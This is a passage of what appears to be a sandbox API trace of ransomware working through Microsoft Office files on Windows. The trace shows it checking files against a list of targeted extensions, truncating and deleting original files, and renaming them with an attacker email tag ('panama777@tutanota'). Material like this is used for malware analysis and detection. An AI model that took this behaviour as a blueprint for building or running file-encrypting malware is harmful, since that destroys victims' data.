	[0258.546] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.546] SetEndOfFile (hFile=0x220) returned 1
	[0258.576] CloseHandle (hObject=0x220) returned 1
	[0258.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1
	[0259.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.398] lstrlenW (lpString=".doc") returned 4
	[0259.398] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1
	[0259.398] lstrlenW (lpString=".docx") returned 5
	[0259.398] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1
	[0259.398] lstrlenW (lpString=".pdf") returned 4
	[0259.398] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1
	[0259.398] lstrlenW (lpString=".xls") returned 4
	[0259.398] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1
	[0259.398] lstrlenW (lpString=".xlsx") returned 5
	[0259.398] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1
	[0259.398] lstrlenW (lpString=".ppt") returned 4
	[0259.398] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1
	[0259.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.398] lstrlenW (lpString=".zip") returned 4
	[0259.398] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1
	[0259.398] lstrlenW (lpString=".rar") returned 4
	[0259.398] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1
	[0259.398] lstrlenW (lpString=".bz2") returned 4
	[0259.398] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1
	[0259.398] lstrlenW (lpString=".7z") returned 3
	[0259.398] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1
	[0259.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.398] lstrlenW (lpString=".dbf") returned 4
	[0259.398] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1
	[0259.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.399] lstrlenW (lpString=".1cd") returned 4
	[0259.399] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1
	[0259.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.399] lstrlenW (lpString=".jpg") returned 4
	[0259.399] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1
	[0259.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.399] lstrlenW (lpString=".doc") returned 4
	[0259.399] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1
	[0259.399] lstrlenW (lpString=".docx") returned 5
	[0259.399] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1
	[0259.399] lstrlenW (lpString=".pdf") returned 4
	[0259.399] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1
	[0259.399] lstrlenW (lpString=".xls") returned 4
	[0259.399] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1
	[0259.399] lstrlenW (lpString=".xlsx") returned 5
	[0259.399] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1
	[0259.399] lstrlenW (lpString=".ppt") returned 4
	[0259.399] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1
	[0259.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.399] lstrlenW (lpString=".zip") returned 4
	[0259.399] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1
	[0259.399] lstrlenW (lpString=".rar") returned 4
	[0259.399] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1
	[0259.399] lstrlenW (lpString=".bz2") returned 4
	[0259.399] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1
	[0259.399] lstrlenW (lpString=".7z") returned 3
	[0259.399] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1
	[0259.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.399] lstrlenW (lpString=".dbf") returned 4
	[0259.400] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1
	[0259.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.400] lstrlenW (lpString=".1cd") returned 4
	[0259.400] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1
	[0259.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61
	[0259.400] lstrlenW (lpString=".jpg") returned 4
	[0259.400] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1
	[0259.400] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0259.400] lstrlenW (lpString="ACCOLKI.DLL") returned 11
	[0259.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.421] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=13240) returned 1
	[0259.421] CloseHandle (hObject=0x33c) returned 1
	[0259.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20
	[0259.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.432] lstrlenW (lpString=".doc") returned 4
	[0259.432] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.432] lstrlenW (lpString=".docx") returned 5
	[0259.432] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0259.432] lstrlenW (lpString=".pdf") returned 4
	[0259.432] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.432] lstrlenW (lpString=".xls") returned 4
	[0259.432] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.432] lstrlenW (lpString=".xlsx") returned 5
	[0259.432] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0259.432] lstrlenW (lpString=".ppt") returned 4
	[0259.432] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.432] lstrlenW (lpString=".zip") returned 4
	[0259.432] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.432] lstrlenW (lpString=".rar") returned 4
	[0259.432] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.432] lstrlenW (lpString=".bz2") returned 4
	[0259.432] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.432] lstrlenW (lpString=".7z") returned 3
	[0259.432] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.432] lstrlenW (lpString=".dbf") returned 4
	[0259.432] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.433] lstrlenW (lpString=".1cd") returned 4
	[0259.433] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.433] lstrlenW (lpString=".jpg") returned 4
	[0259.433] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.433] lstrlenW (lpString=".doc") returned 4
	[0259.433] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.433] lstrlenW (lpString=".docx") returned 5
	[0259.433] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0259.433] lstrlenW (lpString=".pdf") returned 4
	[0259.433] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.433] lstrlenW (lpString=".xls") returned 4
	[0259.433] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.433] lstrlenW (lpString=".xlsx") returned 5
	[0259.433] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0259.433] lstrlenW (lpString=".ppt") returned 4
	[0259.433] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.433] lstrlenW (lpString=".zip") returned 4
	[0259.433] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.433] lstrlenW (lpString=".rar") returned 4
	[0259.433] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.433] lstrlenW (lpString=".bz2") returned 4
	[0259.433] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.433] lstrlenW (lpString=".7z") returned 3
	[0259.433] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.433] lstrlenW (lpString=".dbf") returned 4
	[0259.433] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.433] lstrlenW (lpString=".1cd") returned 4
	[0259.434] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59
	[0259.434] lstrlenW (lpString=".jpg") returned 4
	[0259.434] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.434] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0259.434] lstrlenW (lpString="ACCVDTUI.DLL") returned 12
	[0259.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0259.434] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=158600) returned 1
	[0259.434] CloseHandle (hObject=0x334) returned 1
	[0259.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20
	[0259.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.434] lstrlenW (lpString=".doc") returned 4
	[0259.434] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.435] lstrlenW (lpString=".docx") returned 5
	[0259.435] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0259.435] lstrlenW (lpString=".pdf") returned 4
	[0259.435] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.435] lstrlenW (lpString=".xls") returned 4
	[0259.435] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.435] lstrlenW (lpString=".xlsx") returned 5
	[0259.435] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0259.435] lstrlenW (lpString=".ppt") returned 4
	[0259.435] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.435] lstrlenW (lpString=".zip") returned 4
	[0259.435] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.435] lstrlenW (lpString=".rar") returned 4
	[0259.435] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.435] lstrlenW (lpString=".bz2") returned 4
	[0259.435] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.435] lstrlenW (lpString=".7z") returned 3
	[0259.435] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.435] lstrlenW (lpString=".dbf") returned 4
	[0259.435] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.435] lstrlenW (lpString=".1cd") returned 4
	[0259.435] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.435] lstrlenW (lpString=".jpg") returned 4
	[0259.435] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.435] lstrlenW (lpString=".doc") returned 4
	[0259.436] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.436] lstrlenW (lpString=".docx") returned 5
	[0259.436] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0259.436] lstrlenW (lpString=".pdf") returned 4
	[0259.436] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.436] lstrlenW (lpString=".xls") returned 4
	[0259.436] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.436] lstrlenW (lpString=".xlsx") returned 5
	[0259.436] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0259.436] lstrlenW (lpString=".ppt") returned 4
	[0259.436] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.436] lstrlenW (lpString=".zip") returned 4
	[0259.436] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.436] lstrlenW (lpString=".rar") returned 4
	[0259.436] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.436] lstrlenW (lpString=".bz2") returned 4
	[0259.436] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.436] lstrlenW (lpString=".7z") returned 3
	[0259.436] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.436] lstrlenW (lpString=".dbf") returned 4
	[0259.436] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.436] lstrlenW (lpString=".1cd") returned 4
	[0259.436] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60
	[0259.436] lstrlenW (lpString=".jpg") returned 4
	[0259.436] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.436] lstrcmpiW (lpString1=".HLP", lpString2=".Acuf2") returned 1
	[0259.437] lstrlenW (lpString="ACTIP10.HLP") returned 11
	[0259.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0259.437] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=343520) returned 1
	[0259.437] CloseHandle (hObject=0x334) returned 1
	[0259.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp")) returned 0x20
	[0259.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.437] lstrlenW (lpString=".doc") returned 4
	[0259.437] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1
	[0259.437] lstrlenW (lpString=".docx") returned 5
	[0259.437] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1
	[0259.437] lstrlenW (lpString=".pdf") returned 4
	[0259.437] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1
	[0259.437] lstrlenW (lpString=".xls") returned 4
	[0259.437] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1
	[0259.437] lstrlenW (lpString=".xlsx") returned 5
	[0259.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1
	[0259.437] lstrlenW (lpString=".ppt") returned 4
	[0259.438] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1
	[0259.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.438] lstrlenW (lpString=".zip") returned 4
	[0259.438] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1
	[0259.438] lstrlenW (lpString=".rar") returned 4
	[0259.438] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1
	[0259.438] lstrlenW (lpString=".bz2") returned 4
	[0259.438] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1
	[0259.438] lstrlenW (lpString=".7z") returned 3
	[0259.438] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1
	[0259.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.438] lstrlenW (lpString=".dbf") returned 4
	[0259.438] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1
	[0259.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.438] lstrlenW (lpString=".1cd") returned 4
	[0259.438] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1
	[0259.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.438] lstrlenW (lpString=".jpg") returned 4
	[0259.438] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1
	[0259.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.438] lstrlenW (lpString=".doc") returned 4
	[0259.438] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1
	[0259.438] lstrlenW (lpString=".docx") returned 5
	[0259.438] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1
	[0259.438] lstrlenW (lpString=".pdf") returned 4
	[0259.438] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1
	[0259.438] lstrlenW (lpString=".xls") returned 4
	[0259.438] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1
	[0259.438] lstrlenW (lpString=".xlsx") returned 5
	[0259.438] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1
	[0259.439] lstrlenW (lpString=".ppt") returned 4
	[0259.439] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1
	[0259.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.439] lstrlenW (lpString=".zip") returned 4
	[0259.439] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1
	[0259.439] lstrlenW (lpString=".rar") returned 4
	[0259.439] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1
	[0259.439] lstrlenW (lpString=".bz2") returned 4
	[0259.439] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1
	[0259.439] lstrlenW (lpString=".7z") returned 3
	[0259.439] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1
	[0259.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.439] lstrlenW (lpString=".dbf") returned 4
	[0259.439] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1
	[0259.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.439] lstrlenW (lpString=".1cd") returned 4
	[0259.439] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1
	[0259.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59
	[0259.439] lstrlenW (lpString=".jpg") returned 4
	[0259.439] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1
	[0259.439] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0259.439] lstrlenW (lpString="ACWIZRC.DLL") returned 11
	[0259.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0259.440] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=275856) returned 1
	[0259.440] CloseHandle (hObject=0x334) returned 1
	[0259.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20
	[0259.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.440] lstrlenW (lpString=".doc") returned 4
	[0259.440] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.440] lstrlenW (lpString=".docx") returned 5
	[0259.440] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1
	[0259.440] lstrlenW (lpString=".pdf") returned 4
	[0259.440] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.440] lstrlenW (lpString=".xls") returned 4
	[0259.440] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.440] lstrlenW (lpString=".xlsx") returned 5
	[0259.440] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1
	[0259.440] lstrlenW (lpString=".ppt") returned 4
	[0259.440] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.440] lstrlenW (lpString=".zip") returned 4
	[0259.440] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.440] lstrlenW (lpString=".rar") returned 4
	[0259.440] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.440] lstrlenW (lpString=".bz2") returned 4
	[0259.440] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.440] lstrlenW (lpString=".7z") returned 3
	[0259.441] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.441] lstrlenW (lpString=".dbf") returned 4
	[0259.441] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59
	[0259.441] lstrlenW (lpString=".1cd") returned 4
